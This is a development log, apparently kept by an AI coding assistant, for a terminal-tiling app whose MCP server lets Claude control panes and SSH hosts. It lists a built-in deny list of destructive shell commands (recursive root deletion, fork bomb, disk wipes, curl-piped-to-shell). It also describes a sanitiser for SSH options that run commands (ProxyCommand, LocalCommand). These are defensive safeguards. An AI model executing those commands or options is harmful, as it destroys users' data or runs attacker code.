1. `ProxyCommand=…` — runs a shell command on connect.
|
||||
2. `LocalCommand=…` — runs a shell command on connect (when `PermitLocalCommand=yes`).
|
||||
3. `KnownHostsCommand=…` — runs a shell command at handshake (CVE-2023-51385 class).
|
||||
4. `PermitLocalCommand=yes` — unlocks LocalCommand even if not set in this snippet. (`=no` and unset are fine.)
|
||||
|
||||
Recognises both two-arg form (`-o KEY=VAL`) and joined form (`-oKEY=VAL`), case-insensitive on the key, equals-or-space between key and value. Returns `Err(reason)` with the offending arg + a human-readable why. 19 fuzz tests cover positive + lookalike-negative cases (e.g. `-o ServerAliveInterval=30` passes; `-o proxycommand=evil` fails; bad arg in the middle of a long list fails). **Only the MCP `add_host` path runs this** — manual host management via the titlebar 🔑 picker stays unrestricted, matching the "user has full agency" stance.
|
||||
|
||||
**Third SSH safeguard: `allowAddHost`** (default off). Gates both `add_host` and `delete_host` with the same `add-host-disabled` server-side error pattern as the existing `allowOpenSsh` gate. Bundled both tools under one switch for simplicity — `delete_host` is destructive but it's the natural symmetric companion to `add_host`. UI is a third checkbox in the SSH safeguards section; unlike `autoAllowSpawnedSsh`, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa).
|
||||
|
||||
**Both tools are thin dispatcher wrappers**, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → `dispatch_action` with stable `args_repr` → frontend `runMcpHandler` case + `buildConfirmInfo` case. `add_host` runs `pty::validate_ssh_token` on hostname/user/jumpHost (made `pub` for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. `delete_host` looks the host up in `state.mirror.hosts` so Claude can't probe arbitrary ids, and relies on `save_ssh_hosts`' existing orphan-credential sweep to clean up the keyring entry.
|
||||
|
||||
**Backend host_id is generated frontend-side** in the handler (via the same `newId()` helper HostManager uses → `crypto.randomUUID()` shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean.
|
||||
|
||||
**Pre-existing bug fixed as a prerequisite:** `mcp_policy.rs`'s `policy_with` test helper was constructing `McpPolicy` without the `ssh_safeguards` field (added in PR-3.5). That made the entire `tests` mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added `ssh_safeguards: SshSafeguards::default()` as one-liner; tests should compile again.
|
||||
|
||||
**Module headers + `with_instructions` updated** to call out the new 11-tool surface, `add_host`'s extraArgs sanitiser, and the `add-host-disabled` error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads `with_instructions` for routing decisions.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **Verify on Windows.** PR-4 was authored in WSL; `pnpm check` is clean but Rust build/tests live on the Windows host. User to `cd D:\dev\tiletopia && cargo test -p tiletopia_lib` (or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix.
|
||||
- **End-to-end test with Claude.** Suggested smoke: toggle the new `allowAddHost` switch on; ask Claude to `add_host` with hostname `example.com`, then `connect_host` to it (which still needs `allowOpenSsh`), then `delete_host`. With all three switches off, `add_host` should refuse cleanly with `add-host-disabled`.
|
||||
- **Race in concurrent `add_host` calls.** Frontend reads `hosts` from the closure, builds `next = [...hosts, newHost]`, calls `setHosts(next)` (non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second's `next` drops the first. Pre-existing pattern (`saveHosts` in App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — but `Always allow add_host` users would race. Convert to `setHosts(prev => …)` + extract the saved snapshot if it ever bites.
|
||||
- **Sanitiser scope expansions to consider:** `-F <path>` lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 — `add_host` doesn't expose a flag for it, and saved hosts are user-edited.
|
||||
- **PowerShell hard-deny patterns** still POSIX-only (carried over from PR-3 list).
|
||||
- **Per-leaf-shellKind policy scoping** still wanted (carried over).
|
||||
- **CLAUDE.md still says Svelte 5** (still not fixed; called out in 4 session logs now).
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button
|
||||
|
||||
Commits `bf2810a` (PR-3 + PR-3.5) and `6da7523` (polish bundle). 8 of 9 planned v2 tools are now live — only `add_host` (PR-4) remains.
|
||||
|
||||
**PR-3 added the three highest-power tools:** `write_pane`, `spawn_pane`, `connect_host`.
|
||||
|
||||
- **`write_pane`** sends keystrokes to a pane's PTY. `args_repr` is the decoded text itself (not a summary) so the hard-deny matcher and user-policy globs evaluate against the exact bytes Claude wants to send. **Per-pane token bucket rate limiter**: 30 calls capacity + 3/s refill, sized so a sustained loop trips it within ~2s while normal use never hits it. Rate-limited calls don't emit audit rows (would just spam during an attack); they get a `tracing::warn!`. Frontend `truncateForSummary` caps text shown in the modal + audit row to ~60 chars and escapes control chars, so a pasted token doesn't echo verbatim into the UI.
|
||||
- **`spawn_pane`** + **`connect_host`** required a new architectural piece: a **spawn-completion oneshot chain** in App.tsx. Backend MCP tools that mutate the tree can't reply until the new pane has been registered with a PaneId — and that only happens after React mounts XtermPane and the Tauri `spawn_pane` command returns. New `pendingPaneRegistrations` Map<NodeId, resolve_fn>; `registerPaneId` fires waiters; `waitForPaneRegistration(leafId, timeoutMs)` returns a Promise the handler awaits. 15s timeout for WSL (covers cold distro start), 30s for SSH (covers handshake + auth), 60s outer cap in `dispatch_action` as a fail-safe.
|
||||
- New tree helper `splitLeafWith(root, parentId, orient, leaf)` — like `splitLeaf` but takes a caller-built `LeafNode` with a pre-generated id instead of minting one inside. The handler needs the id up front so it can register a waiter for it before setTree commits.
|
||||
- **SSH-extra confirm modal** — `McpConfirmSpec` carries an optional `ssh: {hostLabel}` context; when set, the modal renders a red warning banner explaining that pattern matching only sees the bytes we send (the remote shell expands aliases/subshells before executing) and the hard-deny still applies but this is best-effort. Detection lives in `buildConfirmInfo` (renamed from `buildConfirmSummary`).
|
||||
|
||||
**PR-3.5 — SSH safeguards.** Two new switches on `McpPolicy.sshSafeguards`, both default off (safest):
|
||||
|
||||
- `allowOpenSsh` — when off, `connect_host` and `spawn_pane(kind=ssh)` refuse server-side with a clear `ssh-disabled:` message pointing at the Policy tab. User opens SSH manually via the titlebar 🔑 picker.
|
||||
- `autoAllowSpawnedSsh` — when off, SSH panes Claude spawns start with `mcpAllow=false`. User must explicitly toggle 🤖 before Claude can read scrollback or write keystrokes. UI disables the second checkbox when the first is off (visual "this depends on that").
|
||||
|
||||
Together: fresh install + safeguards = Claude has *no* ability to autonomously touch SSH. Power-user can flip switches independently for graduated trust.
|
||||
|
||||
**Polish bundle (`6da7523`) — three small follow-ups from PR-3 testing:**
|
||||
|
||||
1. **Removed SSH variant from `mcp::spawn_pane`'s schema entirely.** New `McpSpawnSpec` enum (Wsl | Powershell only), used only by `SpawnPaneArgs`. Internal `pty::SpawnSpec` keeps all three for the existing frontend-driven spawn path. Reason: `spawn_pane(kind=ssh)` was a half-broken path — required `host` as a mandatory field even when `hostId` was given, so serde rejected the natural "spawn to a saved host" shape. Claude now sees two clearly-scoped tools and routes "open a pane to testbox" to `connect_host` automatically (verified via natural-language test).
|
||||
2. **Refreshed `with_instructions` + module header comment.** Both still claimed "read-only v1" long after the write surface landed; Claude was refusing tools on first contact citing the stale instructions. New text describes the actual surface, points at `connect_host` for SSH, mentions the policy/safeguards gates.
|
||||
3. **Connect button in the SSH hosts manager.** The dialog previously had only Edit — users (rightly) expected clicking a saved host to spawn an SSH pane. Green button next to Edit, wrapped in a flex container so the row's `space-between` layout keeps both actions right-aligned. Closes the manager on click and splits off the active pane with smart-orient.
|
||||
|
||||
**Four integration bugs + recurring patterns worth remembering:**
|
||||
|
||||
1. **`Tauri 2` `AppHandle::emit` moved onto the `tauri::Emitter` trait** — needs `use tauri::Emitter;`. The error message tells you (well, with `--explain`), but it's an easy stumbling block.
|
||||
2. **`McpError` constructors take `impl Into<Cow<'static, str>>`.** Pass owned `String` from `format!(...)`, not `&format!(...)` — the temporary is dropped before the `'static` lifetime can be satisfied.
|
||||
3. **React 18 `StrictMode` race with `listen()` inside `useEffect`.** Always use the cancelled-flag pattern; never just `let un; .then(fn => un = fn)` because the cleanup runs before the Promise resolves on the pretend-unmount.
|
||||
4. **Serde rename mismatch between Rust and TS.** Rust `pub ssh_safeguards` serializes as `ssh_safeguards` unless the struct has `#[serde(rename_all = "camelCase")]`. The frontend reading `policy.sshSafeguards` got `undefined`, threw during render, blanked the whole app. Add `rename_all` on every struct that crosses the IPC boundary.
|
||||
|
||||
**New defensive primitive: `ErrorBoundary.tsx`.** Wraps the App root + each MCP panel tab. A render exception anywhere shows a small red error card with the message + a "Try again" button instead of unmounting the entire React tree and showing a black window. Caught bug #4 above. Wrap any future high-risk component too (especially anything reading from MCP state).
|
||||
|
||||
**5 of 9 v2 tools verified end-to-end with Claude:** set_label, write_pane, spawn_pane (local), connect_host, close_pane (regression). The hard-deny + rate-limit + audit + confirm + Always-Allow flow all working.
|
||||
|
||||
Open follow-ups specific to this session, ordered by priority:
|
||||
|
||||
- **PR-4: `add_host` + `extraArgs` sanitiser.** Lets Claude register new SSH hosts in hosts.json. Sanitiser must reject `ProxyCommand`, `LocalCommand`, `KnownHostsCommand`, `PermitLocalCommand=yes`, and any `-o` keys that take a shell command — those are local-RCE-at-ssh-invocation primitives (CVE-2023-51385 class). Probably also bundle `delete_host` for symmetry. Consider a third SSH safeguard switch ("Allow Claude to save new SSH hosts", default off) to gate the new tool the same way `allowOpenSsh` gates `connect_host`. ~3-4 hours total.
|
||||
- **v2.1 — wire the `PolicyClassifier` hook.** Currently scaffolded as `NoopClassifier`; calls falling through to Ask could optionally be upgraded to Allow by a small LLM (Haiku via Anthropic API is the cheapest path; Ollama for local). Trade-offs: API key surface in settings, latency on Ask calls, predictability vs. fewer prompts. Defer until the prompt fatigue actually starts biting in daily use.
|
||||
- **PowerShell hard-deny patterns.** Currently the 10 baked-in patterns are POSIX-only (rm -rf /, mkfs, etc.). PowerShell equivalents (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.) deserve the same circuit-breaker. Add when users actually run write_pane against PowerShell panes in anger.
|
||||
- **Per-leaf-shellKind policy scoping.** Today `write_pane(*)` in the Allow bucket allows ALL write_pane calls, including SSH ones — which bypasses the SSH-extra warning modal. Want something like `write_pane(local)` and `write_pane(ssh)` discriminators so users can silent-allow locally while still asking on SSH. Schema design needed: extend the glob matcher with shellKind predicates, or just hard-code that the bare-tool-name allow rule never applies to SSH targets. Probably the latter for simplicity.
|
||||
- **`.mcpb` bundle** for one-click Claude Desktop install — would package the `mcp-remote` shim invocation + bearer placeholder. Same scope it was in earlier sessions.
|
||||
- **Audit-log persistence.** Currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight." Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Defer until requested.
|
||||
- **Confirm-modal queue UX.** FIFO single-modal-at-a-time today. If Claude burst-fires many tool calls, the user serially clicks through them. Adding a "reject all pending" button is cheap if it ever annoys.
|
||||
- **Module-level header in `mcp.rs` still calls out the 9-tool list** — keep this in sync if you add or rename tools. The MCP `with_instructions` text and the tool descriptions also need attention every time the surface changes (Claude reads both for routing decisions).
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-2: tree-shape writes (close, swap, promote, apply_preset)
|
||||
|
||||
Commit `e0ce223`. Four more tools wired through the existing PR-1b dispatcher pipeline (`dispatch_action` → policy check → confirm modal → audit), all touching the layout tree but not PTYs or spawn. Mechanically the same shape as `set_label`: define args struct on backend, validate via `require_visible_leaf` (factored out — 5 tools now use it), dispatch with stable `args_repr`, frontend `runMcpHandler` case applies the mutation via the same setters the UI uses.
|
||||
|
||||
**`apply_preset`'s data-loss path is non-interactive.** If applying the preset would drop panes and the caller didn't pass `allow_drops: true`, the frontend handler throws with a descriptive message listing the labels of the panes that would be killed. Claude sees the error, decides whether to retry with `allow_drops: true`. Avoids ambushing the user with a destructive confirm modal — the user already approved the high-level "reshape" action; the per-pane consequences are surfaced to Claude, not them. The audit log shows the failed call so the user still sees what was attempted.
|
||||
|
||||
**`PresetName` is a typed enum** (`single | two_columns | three_columns | two_rows | two_by_two`) with `serde(rename_all = "snake_case")` so Claude's tool schema gets autocomplete and the JSON wire form matches `apply_preset(two_columns)` style policy rules.
|
||||
|
||||
**`promote_pane` errors gracefully** when the parent shares orientation with the grandparent — same "no perpendicular split above it" condition the Ctrl+Shift+P keyboard shortcut already toasts. Reuses the existing `promoteLeaf(tree, id) === null` check.
|
||||
|
||||
5 of 9 planned v2 tools live now. PR-3 is the materially harder one (spawn_pane / write_pane / connect_host + rate limiter + SSH-specific confirm treatment); PR-4 is `add_host` + `extraArgs` sanitiser.
|
||||
|
||||
### 2026-05-26 — MCP v2 PR-1 + PR-1b: policy engine, audit log, dispatcher, `set_label` end-to-end
|
||||
|
||||
First two of four planned PRs for the MCP write surface. Shipped via fan-out (3 Sonnet agents in parallel + 1 Haiku for fuzz tests, then sequential integration by me). Two clean commits: `464c576` (PR-1 foundation) and `26ffe88` (PR-1b dispatcher + bug fixes).
|
||||
|
||||
**Architecture: Pattern A (event/reply RPC across the IPC boundary).** Frontend keeps tree authority (it's `useState` in App.tsx); backend MCP tool handlers can't synchronously call into JS. Tauri 2's `invoke` is JS→Rust only, so a backend-initiated mutation has to round-trip through events:
|
||||
|
||||
```
|
||||
[MCP tool handler] [App.tsx]
|
||||
build {requestId, tool, args, ...} ⟶ emit "mcp://request"
|
||||
register oneshot in PendingActions frontend dispatcher:
|
||||
await rx with 30s timeout 1. policy check decided needsConfirm
|
||||
2. if needsConfirm → modal queue
|
||||
3. runMcpHandler mutates tree
|
||||
4. invoke("mcp_action_reply", {id, result})
|
||||
⟵ oneshot resolves
|
||||
emit "mcp://audit" with outcome
|
||||
return to MCP client
|
||||
```
|
||||
|
||||
`TileService` now holds an `AppHandle` and an `Arc<PendingActions>` (oneshot registry keyed by uuid-shaped id). The dispatch helper centralises policy → emit → await → audit emission for every write tool.
|
||||
|
||||
**Policy engine (`src-tauri/src/mcp_policy.rs`, 1152 lines).** Three-tier `allow / ask / deny`, deny-first precedence mirroring Claude Code's `.claude/settings.json` shape — users already know this DSL. Glob matcher (`*` only, not regex) with shell-operator-aware subcommand splitting on `&&`, `||`, `;`, `|`, `|&`, `&`, newline — a deny rule fires if ANY subcommand matches (defeats `safe-cmd && rm -rf /`).
|
||||
|
||||
**Hard-deny list — compiled-in, non-overridable, visible-only-in-UI.** Ten regex patterns the user CANNOT disable, applied to `write_pane` shell content:
|
||||
1. `rm -rf /` (and option-order variants like `-Rf`)
|
||||
2. `rm -rf ~` / `rm -rf $HOME`
|
||||
3. `rm -rf /*`
|
||||
4. `:(){ :|:& };:` (fork bomb)
|
||||
5. `mkfs.<fs> /dev/...`
|
||||
6. `dd ... of=/dev/(sd|nvme|hd|disk)...`
|
||||
7. `> /etc/(passwd|shadow|sudoers)`
|
||||
8. `curl|wget ... | (sudo )?(ba?sh|zsh)` (pipe to shell from network)
|
||||
9. `chmod -R 777 /`
|
||||
10. `find / ... -delete`
|
||||
|
||||
Caveats deliberately disclosed in the UI: best-effort accident prevention only (`\rm`, `${SHELL} -c`, aliases all bypass); POSIX-only in v2 (PowerShell equivalents deferred to v2.1); evaluated on the bytes sent in one `write_pane`, not after the remote shell composes them. *Not a sandbox.*
|
||||
|
||||
73 fuzz tests for the matcher (positive variations + lookalike negatives like `rm -rf /tmp/foo`, `dd of=backup.img`, `chmod 777 /tmp/file`). The shape-of-rule test grid is in `mod hard_deny_fuzz` at the bottom of mcp_policy.rs.
|
||||
|
||||
**Audit log surface.** Backend emits `mcp://audit` after every tool call resolves with `{tsMs, tool, argsSummary (truncated 80), result: ok|denied|failed, durationMs}`. Ring buffer of 200 entries. Args summary explicitly capped — `write_pane` text would otherwise turn the panel into a secret-leak surface if Claude pastes a token.
|
||||
|
||||
**`McpPanel` refactored into three tabs: Config / Audit / Policy.** Config kept the existing snippet/regen UI. Audit is a presentational table with chip-coloured rows. Policy is three vertically-stacked allow/ask/deny buckets with add/remove + a Save button, plus a read-only "Always blocked (built-in)" section showing the 10 hard-deny labels with "Cannot be disabled" badges.
|
||||
|
||||
**Confirm modal (`McpConfirm.tsx`).** Amber-bordered modal. Shows tool, policy reason ("default", a matched ask rule, etc.), a human-readable summary built per-tool (`Rename pane "X" → "Y"`), and an expandable raw-args block. Enter = accept, Esc = reject. Third button: **"Always allow {tool}"** — appends bare tool name to the policy allow bucket inline, then resolves the current call. Toast confirms.
|
||||
|
||||
**Default policy is empty → every call asks.** Restrictive by design; the user enables parts. Saved to `%APPDATA%\com.megaproxy.tiletopia\mcp-policy.json` via the same atomic tmp+rename pattern as `mcp.json`/`hosts.json`/`workspace.json`.
|
||||
|
||||
**Classifier hook scaffold (no-op).** `PolicyClassifier` trait + `ClassifierHint` enum + `NoopClassifier` in mcp_policy.rs. Not wired into `evaluate()` yet — placeholder for v2.1 where a small LLM (Haiku via Anthropic API, or local Ollama) classifies ambiguous Ask calls to maybe-upgrade them to Allow. Architecture supports it without further refactor.
|
||||
|
||||
**Demo tool wired end-to-end: `set_label`.** Pure metadata change; reuses the existing `ops.setLabel` → `changeLabel(tree, leafId, label)` path. No PTY, no SSH, no async spawn complexity. Perfect proof-of-concept for the dispatcher — every other v2 tool follows the same shape: arg struct, validate, dispatch_action with stable args_repr, frontend handler in `runMcpHandler` switch.
|
||||
|
||||
**Bugs hit during integration:**
|
||||
|
||||
1. **Tauri 2 trait-not-in-scope.** `AppHandle::emit` moved onto `tauri::Emitter` trait in Tauri 2. The error message helpfully says "trait `Emitter` which provides `emit` is implemented but not in scope" — just `use tauri::Emitter;` next to `Manager`. Worth remembering for any future event-emission code.
|
||||
|
||||
2. **`McpError` constructors want `'static` strings.** Signature is `impl Into<Cow<'static, str>>`. Passing `&format!(...)` or `&e.to_string()` fails (`temporary value dropped while borrowed`). Pass the owned `String` directly — auto-converts to `Cow::Owned`. Bit me at three sites in dispatch_action.
|
||||
|
||||
3. **React 18 StrictMode race with `listen()`.** Classic pattern bug: `useEffect(() => { let un; void listen(...).then(fn => { un = fn }); return () => un?.() }, []);` is broken in StrictMode because the cleanup runs before the Promise resolves on the pretend-unmount, leaving the first subscription dangling. Real-world symptom was duplicate audit entries and modal-needs-two-clicks (each event handled by both subscriptions). Fix is the cancelled-flag pattern:
|
||||
```ts
|
||||
let cancelled = false;
|
||||
let unlisten;
|
||||
void listen(...).then(fn => { if (cancelled) fn(); else unlisten = fn; });
|
||||
return () => { cancelled = true; unlisten?.(); };
|
||||
```
|
||||
Worth using *anywhere* we subscribe-via-Promise inside `useEffect`, not just for MCP events. Vite HMR also surfaces this if you're not careful — a clean restart confirmed the fix held.
|
||||
|
||||
4. **Stale state when audit subscription lived in AuditTab.** AuditTab unmounts when the user switches tabs or closes the panel; events fired during that window were dropped. Lifted subscription to App.tsx, made AuditTab presentational (props in, table out). Same pattern any "always-on log" should follow.
|
||||
|
||||
5. **rmcp's DNS-rebinding allowlist re-bit us once.** The earlier session disabled it for WSL connectivity; PR-1 didn't regress this but it's a pattern to keep flagged — `StreamableHttpServerConfig::default().disable_allowed_hosts()` stays mandatory for our use case.
|
||||
|
||||
**Frontend ↔ backend contract worth saving:**
|
||||
|
||||
- `mcp://request` event payload (camelCase): `{requestId, tool, args, needsConfirm, reason}`
|
||||
- `mcp://audit` event payload: `{tsMs, tool, argsSummary, result: {kind:"ok"|"denied"|"failed", ...}, durationMs}`
|
||||
- `mcp_action_reply` Tauri command takes `{requestId, result}` where result is externally-tagged `{Ok: value}` or `{Err: msg}` — that's serde's default tagging for `Result<T,E>`, NOT a custom shape.
|
||||
- Tauri 2 command argument-name binding: JS sends `{policy}`, Rust receives `policy: McpPolicy` — direct lowercase match. McpPolicy has no `#[serde(rename_all = ...)]`, so field keys (`version`, `permissions`, `deny`, `ask`, `allow`) match identity. Verified with debug-log instrumentation during the save-not-persisting investigation (it was actually working; user's first test predated the cargo rebuild).
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
|
||||
- **PR-2 (next):** `close_pane`, `swap_panes`, `promote_pane`, `apply_preset`. Same dispatcher shape; the `apply_preset` data-loss case wants an `allow_drops: true` arg rather than a separate modal (per the earlier scope notes).
|
||||
- **PR-3 (the hard one):** `spawn_pane`, `write_pane`, `connect_host`. Needs (a) spawn-completion oneshot resolution chain (await `registerPaneId`), (b) per-host SSH confirm even on spawn (Claude opening a shell on prod is equally consequential to writing to it), (c) rate limiter on `write_pane` (per OWASP LLM06 + MCP spec MUST).
|
||||
- **PR-4:** `add_host` + `extraArgs` sanitiser (ProxyCommand exfil risk for OpenSSH).
|
||||
- **v2.1 classifier:** wire `PolicyClassifier` into `evaluate()` so Ask calls can be auto-upgraded to Allow by a small LLM. Haiku is the cheap/fast pick; needs an API key surface in settings.
|
||||
- **PowerShell hard-deny patterns** (`Remove-Item -Recurse -Force C:\`, `Format-Volume`, etc.). Deferred until users actually use PowerShell panes with MCP enabled.
|
||||
- **`.mcpb` bundle** — still on the list; PR-1b's stdio-shim recipe is what it would package up.
|
||||
- **Confirm modal queueing UX** — currently shows one at a time, FIFO. If Claude burst-sends many tool calls, the user gets serial modals. Probably fine for v2; if it gets annoying, add a "reject all pending" button.
|
||||
- **Audit log persistence** — currently ephemeral ring of 200. A `mcp-audit.jsonl` append-only file in app data dir would let users see "what did Claude do overnight". Trade-off: secrets-in-summaries risk if `write_pane` text leaks past the 80-char truncation. Deferred.
|
||||
- **xterm.js RenderService errors** (`Cannot read properties of undefined (reading 'dimensions')`) showed up in dev tools during this session — completely unrelated to MCP work, likely a pane being resized or detached mid-render. File when convenient.
|
||||
|
||||
### 2026-05-26 — MCP persistence + Claude Code OAuth bug + `mcp-remote` shim
|
||||
|
||||
Set out to fix two paper cuts (port + token re-rolled every server restart, so firewall rules and `.mcp.json` had to be re-pasted). Ended up unwinding a multi-layer breakage in Claude Code's HTTP-MCP client.
|
||||
|
||||
**Persistence (the actual goal, in commit `799f507`):**
|
||||
- Added `McpPersistedConfig { port, token }` saved to `%APPDATA%\com.megaproxy.tiletopia\mcp.json`. Default port **47821** (IANA-unassigned range). `start_server` tries the saved port first, falls back to OS-picked + warning log if it's taken (saved port is preserved for the next attempt — transient conflicts shouldn't burn the user's firewall rule).
|
||||
- New `mcp_regenerate_token` command + **Regenerate** button in `McpPanel`. Confirms before rotating (existing clients break). If server is running, stops + restarts with the new token so the live auth middleware picks it up.
|
||||
- Token loaded on every `start_server`, so `McpState.bearer_token` is always in sync with `mcp.json`.
|
||||
|
||||
**The chain of failures (each fix exposed the next layer):**
|
||||
1. **WSL → Windows TCP timeouts.** User had auto-created Windows Defender Firewall **Block (Public)** rules for `tiletopia.exe` from earlier launches. Block rules win over Allow rules in WDF. Fix: nuke all `tiletopia*` rules, create one `Allow Any-profile LocalPort 47821` rule. Confirmed working with curl 401 from Windows + WSL.
|
||||
2. **rmcp DNS-rebinding allowlist** (`StreamableHttpServerConfig.allowed_hosts` defaults to `["localhost", "127.0.0.1", "::1"]`). WSL clients hit via the gateway IP `172.x.x.1`, which isn't in the list — rmcp logged `rejected request with disallowed Host header`. Fix: `.disable_allowed_hosts()` on the config. Bearer auth handles the real gatekeeping; we're not in a browser context.
|
||||
3. **Bearer auth middleware intercepted OAuth-discovery probes.** Claude Code probes `/.well-known/oauth-protected-resource`, `/.well-known/oauth-authorization-server`, `/register`, etc. before sending the static bearer. Our middleware was returning `401 + WWW-Authenticate: Bearer` on those paths — Claude interpreted that as "OAuth supported" and abandoned the static bearer in `.mcp.json`. Fix: skip auth enforcement for any path outside `/mcp` (`mcp.rs:bearer_auth`).
|
||||
4. **Claude Code's HTTP-MCP client is OAuth-only-ish.** Even with discovery paths returning bare 404s, Claude's `/mcp` UI hung in `Needs authentication`, never sent a real `POST /mcp`, and offered an "Authenticate" button that opened a (non-existent) browser flow. Logs confirmed: not a single `MCP request` after `MCP server listening`. The `headers: { Authorization: "Bearer ..." }` field IS the [documented mechanism](https://code.claude.com/docs/en/mcp), but it's broken in Claude Code per [#17152](https://github.com/anthropics/claude-code/issues/17152) (cosmetic UI bug) and [#46879](https://github.com/anthropics/claude-code/issues/46879) (auth requirement triggered by the *existence* of well-known endpoints, not by 401 responses).
|
||||
|
||||
**The working path: `mcp-remote` stdio shim.** Replace the HTTP server entry in `.mcp.json` with:
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"tiletopia": {
|
||||
"command": "npx",
|
||||
"args": [
|
||||
"-y", "mcp-remote",
|
||||
"http://127.0.0.1:47821/mcp",
|
||||
"--allow-http",
|
||||
"--header", "Authorization: Bearer <token>"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
From Claude's perspective tiletopia is now stdio; `mcp-remote` proxies every JSON-RPC call over HTTP with the bearer baked in, bypassing Claude Code's HTTP-MCP machinery entirely. **`--allow-http` is required** because mcp-remote blocks non-HTTPS URLs except for `localhost`. The panel's "Copy config snippet" generates this shape now.
|
||||
|
||||
**Cleanups after the shim worked:**
|
||||
- Dropped the experimental `json_not_found` fallback handler (was added when we thought a JSON-bodied 404 would satisfy Claude's discovery parser; not needed once we went stdio).
|
||||
- Diagnostic `tracing::info!` for per-request auth state dropped to `tracing::debug!` (silent by default, available behind `RUST_LOG=tiletopia_lib::mcp=debug`).
|
||||
- README + help-overlay tip rewritten around the shim recipe + WSL firewall + WSL gateway-IP / mirrored-networking choice.
|
||||
|
||||
**Root-cause sequence worth remembering:** five distinct failures masked each other, and each new error message looked like a config bug. Methodical curl-from-WSL + log inspection was what cut through it — never trust the client's "auth failed" string without seeing whether the server was even reached.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
- **CLAUDE.md (root) still says Svelte 5** in stack — was noted in 2026-05-25's entry too; still not fixed.
|
||||
- **`.mcpb` bundle** would let Claude Desktop install the shim + bearer without hand-editing `.mcp.json`. Was already in the previous MCP TODO list; this session reinforces the need.
|
||||
- **Direct HTTP-MCP** can drop the shim once Claude Code fixes #17152 / #46879. Worth watching those issues.
|
||||
- **Panel could pre-flight check** for `npx` / Node presence on the WSL/host side and warn if missing. Currently the user only discovers the shim needs Node when Claude fails to spawn it.
|
||||
- **Server-side OAuth metadata** (RFC 9728 PRM at `/.well-known/oauth-protected-resource`) is the spec-blessed path but requires actually implementing OAuth dynamic client registration. Big scope; not worth it for the shim's lifetime.
|
||||
|
||||
### 2026-05-25 — Reflow bug fix + titlebar tidy-up
|
||||
|
||||
- **Bug: terminal text reflowing every few seconds.** User reported "redrawing every few seconds" with text changing lines. Added a `console.trace` inside the `ResizeObserver` in `XtermPane.tsx`, then expanded the diagnostic to log titlebar/pane-wrap/leaf/toolbar heights. Caught it: titlebar was oscillating between **34px and 50px** in sync with pane heights changing by ±15.4px (one button-row).
|
||||
- **Root cause: text-wrap inside flex buttons.** Titlebar is `display: flex` with default `flex-wrap: nowrap`. Buttons have no `white-space: nowrap`. On a narrow window, flex items shrink past their natural width → text wraps *inside* a button (e.g. "📡 all off" → two lines) → button grows ~16px → titlebar grows ~16px → `.pane-wrap` shrinks → `ResizeObserver` fires on every xterm → `fit()` reflows. The periodic flap was idle detection: when `idleLeafIds.size` toggles between 0 and N, `.layout-info` gains/loses " · N idle", which is just enough extra width to push a button across its wrap threshold. Same root cause on narrow per-pane toolbars (`tlb=37` was visible in the diagnostic for a 200px pane).
|
||||
- **Fix:** lock heights on both bars. `.titlebar { height: 34px; white-space: nowrap; }` + `.titlebar > * { flex-shrink: 0 }`; same shape for `.pane-toolbar { height: 24px; ... }`. First attempt also used `overflow: hidden` which left an ugly horizontal scrollbar (auto) AND would have clipped dropdowns — removed. Final: `nowrap` + `flex-shrink:0` + fixed `height` is enough; overflow stays visible. Commit `e464464`.
|
||||
- **Titlebar tidy-up.** Pre-fix titlebar was crowded (inline distro buttons + PowerShell + 🔑 SSH hosts + 5 preset buttons + others). Collapsed:
|
||||
- Inline shell buttons → single **`Ubuntu ▾` dropdown** (WSL + Windows sections), reusing the existing `.distro-menu / .shell-menu` styles from `LeafPane.css` (global classes).
|
||||
- 5 preset buttons → **`layout ▾` dropdown** (Single pane / Two columns / Three columns / Two rows / 2×2 grid).
|
||||
- `🔑` stays as a separate icon-only button next to the shell picker.
|
||||
- 🔔 test-toast button removed (dev crutch).
|
||||
- **`+` spawn button.** User pointed out "default:" semantics were weak — the picked shell only fired on first-boot or close-last-pane. Repurposed: dropped the "default:" label, added a **`+` button** next to the picker. Click `+` → splits the active pane with the currently-picked shell, smart-oriented (split right if pane is wider than tall, down otherwise). Per-pane `⇥/⇣` arrows still inherit from parent (best for "another window into this context"); the titlebar selection only fires on `+` / boot / close-last. Commit `fa18307`.
|
||||
|
||||
Open follow-ups from this session:
|
||||
- **CLAUDE.md still names Svelte 5** in the stack; should be updated to React 18.
|
||||
- **Keyboard shortcut for `+`?** Currently mouse-only. `Ctrl+Shift+N` would be the conventional choice but isn't bound.
|
||||
- **Narrow window UX.** With `overflow: visible`, titlebar items that don't fit horizontally render past the right edge / get clipped by the viewport. Acceptable but not great. A real fix is to collapse less-important items into an overflow menu when width is tight.
|
||||
|
||||
### 2026-05-25 — SSH + clickable links + promote + help + MCP v1
|
||||
|
||||
Big session, ~12 commits. Headlines:
|
||||
|
||||
- **PowerShell** as a third shell kind alongside WSL distros, then refactored to an explicit `shellKind: "wsl" | "powershell" | "ssh"` discriminator on `LeafNode` with migration on deserialize (legacy `distro:"PowerShell"` → `shellKind:"powershell"`).
|
||||
